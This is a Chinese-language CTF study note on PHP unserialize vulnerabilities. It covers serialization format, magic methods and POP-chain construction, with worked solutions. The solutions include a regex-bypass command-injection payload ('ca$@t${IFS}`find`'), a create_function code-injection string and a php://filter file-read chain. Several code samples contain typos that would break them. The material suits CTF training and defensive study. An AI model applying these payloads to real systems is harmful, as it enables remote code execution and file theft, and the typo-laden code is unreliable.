反序列化
序列化:将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
反序列化:把这个字符串再转化为原来的变量使用,就是序列化的逆过程,实现函数是unserialize()
数据类型 | 序列化数据结构 |
对象 | O:length:"class name":attribute number:{attr1:value1;attr2:value2} |
字符串 | s:length:value; |
整数 | i:value; |
布尔 | b:value; |
空值 | N; |
浮点数 | d:value; |
序列化和反序列化结合起来,可以轻松地储存和传输数据,使程序更具维护性。
反序列化做题步骤:
1.复制源代码到本地
2.注释掉和属性无关的内容
3.根具题目需要,给属性赋值(这是关键)
a.起点:unserialize的参数可控的地方
b.终点:执行代码或者可以任意读取文件的地方。
c.连接器点和终点:研究属性和方法(特别是魔术方法)
4.生成序列化数据,通常要urlencode解码
5.传递数据到服务器
例题(序列化,正则绕过)
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
WP
整个题由三大块组成:
第一部分是命令执行
第二部分是正则绕过
第三部分是反序列所需要提交的变量并进行base64解码
解题
我们需要命令执行获得flag且绕过正则匹配,最后将payload进行base64编码序列化。
第一块:
in_array 检查数组中是否含有某个值 如果method的变量为ping则执行下列代码。call_user_func_array 将method的变量作为函数调用,并且将args的值作为参数传入,这两个都必须为数组。
再看到这一个函数
如果第一部分method的值被调用了则可以实现args这个变量作为函数调用并且返回的值储存在result中,再输出。如此以来我们就可以构造payload。
在构造payload是我们需要绕过正则匹配
${IFS}绕过空格
$@ 绕过空变量
1.然后我们就可以使用ls查看目录:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease('ping',array('l\s'));
echo base64_encode(serialize($a));
?>
得到payload:ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
传参后可以得到:
2.做到这里通常会卡住,获取flag必须要用斜杠"/"查看目录下的文件,思考一下有什么可以代替斜杆,然后获取flag。搜索了资料发现有些命令是可以查看目录下的文件,我们可以利用这个特性然后配合cat命令进行查看
find查看当前及子目录中的所有文件
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease('ping',array('l\s'));
$a = new ease('ping',array('ca$@t${IFS}`find`'));
echo base64_encode(serialize($a));
?>
得到payload:ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319
传参后即可的到flag:cyberpeace{fcc4ed504c70720cb10cc208e3bdf3d7}
数组特性
当一个数组被当作函数触发时,如果数组第一个元素是对象,第二个元素是方法的名字,那么就会调用该对象下的方法
<?php
class a{
public $name;
public function test(){
echo "数组特性\n";
}
}
$a = new a;
$arr=[$a,'test'];
$arr();
?>
魔术方法
__construct() 对象创建(new)时会自动调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时出发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__autoload() 在代码中当调用不存在的类时会自动调用该方法
综合例题
<?php
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('',$this->code);
}
}
unserialize($_GET[0]);
解题思路:首先看到末尾有反序列化函数,可以想到要利用反序列化来解题。再看到创建了两个类:func和GetFlag。再func中创建了三个变量并且有一个魔术方法__destruct()在变量被摧毁的时候会调用,意思就是在代码结束的时候会调用。在该方法中有一段代码:unserialize($this->key)();
将这个类中的key变量进行反序列化并且作为函数调用。这时我们可以想到数组特性,将key赋值为一个数组,并且看到下面有一个类GetFlag,并且里面有个函数get_flag。更加能够证实这个猜想,所以我们将key的值赋为[GetFlag,"get_flag"];这样就能调用get_flag函数,然后看到get_flag函数:定义了变量a等于该类中的action。看到$a('',$this->code);可以联想到所学的create_function创造一个函数。所以我们可以将action的值赋为create_function。
create_function的漏洞:在定义一个新函数时,我们可以在该函数所要执行的语句开头加一个}这样就会闭合掉创建新函数这个命令,这样就可以在这后面添加我们所需要的系统命令从而获取信息。但执行完我们所需要的命令后还需要添加注释符//来注释掉剩下的}
例如在此题中我们需要查看目录信息则我们可以将GetFlag类中的code赋值为code="} system('ls');//";这样就可以查看到目录信息,查看完后将系统命令改为cat /flag.php即可查找到flag.
<?php
class func
{
public $mod1;
public $mod2;
public $key;
}
class GetFlag
{
public $code="}cat /flag.php";
public $action="create_function";
}
unserialize($_GET[0]);
$g = new func;
$f = new GetFlag;
$g->key=serialize([$f,"get_flag"]);
echo urlencode(serialize($g));
?>
得到payload。
POP链
POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链
反序列化就是要找到合适的POP链。
寻找POP链:实质就是寻找可以控制的属性和方法,以达成攻击的目的
例题
<?php
class vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}
class saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . 'you are in my range!'."<br>";
}
public function __toString(){
$this->gun['gun']->fearless;
return "saw";
}
public function _pain(){
if($this->fearless){
highlight_file($this->fearless)
}
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i",$this->fearless)){
ehco "mmm";
$this->fearless = "index.php";
}
}
}
class petal{
public $seed;
public function __construct(){
$this->seed = array();
}
public function __get($sun){
$nourishment = $this->seed;
return $nourishement();
}
}
if(isset($_GET['ozo'])){
unserialize($_GET['ozo']);
}
?>
根据pop链解法,我们先找到起点为unserialize($_GET['ozo']),需要利用get方法传入一个ozo变量进行反序列化。终点在审计完代码后发现vox类中的include($pulse)可以查看文件,可以确定这就是终点。现在我们从终点到起点来链接。先看vox类中的函数
class vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}
要实现include包含文件这个命令,就要调用fun这个函数,这时我们看到下面invoke魔术方法中可以调用fun函数所以我们需要调用invoke魔术方法(当脚本尝试将对象调用为函数时触发)。
这时我们需要观察代码中哪里将对象作为函数调用了,可以找到petal这个类中的get魔术方法中nourishment变量被当作函数调用了,这时我们需要使用get魔术方法(当访问不可访问的对象时触发)
这时我们需要寻找哪里会访问不可访问的对象,看到saw类中的toString魔术方法中
public function __toString(){
$this->gun['gun']->fearless;
return "saw";
}
如果可以令$this->gun['gun']等于petal类,就可以实现访问petal类中不存在的对象fearless,就会触发get魔术方法,因此我们需要触发toString()魔术方法(把类当作字符串使用时触发)
如何将类看作字符串呢,这时我们看到还是在saw类中的wakeup魔术方法中会对该类中的fearless对象过滤字符串,我们只需要将this->fearless等于上一个saw类即可。然后我们就需要调用wakeup()魔术方法(使用unserialize时触发)
可以创建多个相同的类。
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i",$this->fearless)){
ehco "mmm";
$this->fearless = "index.php";
}
将上述过程简洁描述就是:
起点:unserialize($_GET['ozo'])
终点:vox::fun
链接:
unserialize($_GET['ozo'])=>
saw::__wakeup=>
saw::__toString=>
petal::__get=>
vox::__invoke=>
vox::fun
根据上述路线赋值后的代码为
<?php
class vox{
protected $headset="falg.php";
public $sound;
}
class saw{
public $fearless;
public $gun;
}
class petal{
public $seed;
}
$v = new vox;
$p = new petal;
$p->seed=$v;
$s1 = new saw;
$s1->gun=array('gun'=$p);
$s2 = new saw;
$s2->fearless = $s1;
echo urlencode(serialize($s2));
?>
这样就可以的得到初步payload,但是将该数据传参后还得不到flag,因为include是一个查找文件内的php代码并执行该代码的函数并不能得到文件内的内容,所以这又是一个文件包含漏洞。我们需要利用该漏洞获取源代码。我们要php://fillter协议来读取。所以我们应该headset的值给赋为:
$headset = "php://fillter/convert.base64-encode/resource=flag.php";
得到payload后传参就可以得到flag了。